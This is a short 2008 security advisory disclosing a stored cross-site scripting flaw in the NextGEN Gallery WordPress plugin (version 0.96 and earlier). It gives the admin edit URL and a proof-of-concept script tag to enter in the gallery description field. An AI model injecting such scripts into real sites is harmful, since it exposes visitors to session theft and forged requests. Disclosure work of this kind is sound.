============================== XSS - Nextgen gallery 0.96 wordpress plugin ============================== Author: Eduardo Neves a.k.a _eth0_ Date: 07 june 2008 Site: webappsecurity.wordpress.com ????????????? APPLICATION : Nextgen gallery VERSION : <= 0.96 VENDOR : http://wordpress.org/extend/plugins/nextgen-gallery/ DOWNLOAD : http://wordpress.org/extend/plugins/nextgen-gallery/ ????????????? IMPACT: XSS, XSRF, etc?. ????????????? Descrition: This vulnerability can be explored writing in the descritption textbox a mailicous (or not) code link: http://[host]/[directory]/wp-admin/admin.php?page=nggallery-manage-galle ry&mode=edit&gid=[galleryID]&_wpnonce=0b3c0996ed In the description textbox write the text: <script>alert('xss');</script> And when the gallery was posted, user click in photo and the script was executed! -- |_|0|_| Serrano Neves - a.k.a eth0 |_|_|0| http://webappsecurity.wordpress.com |0|0|0| "Talk is cheap. Show me the code." - Linus Torvalds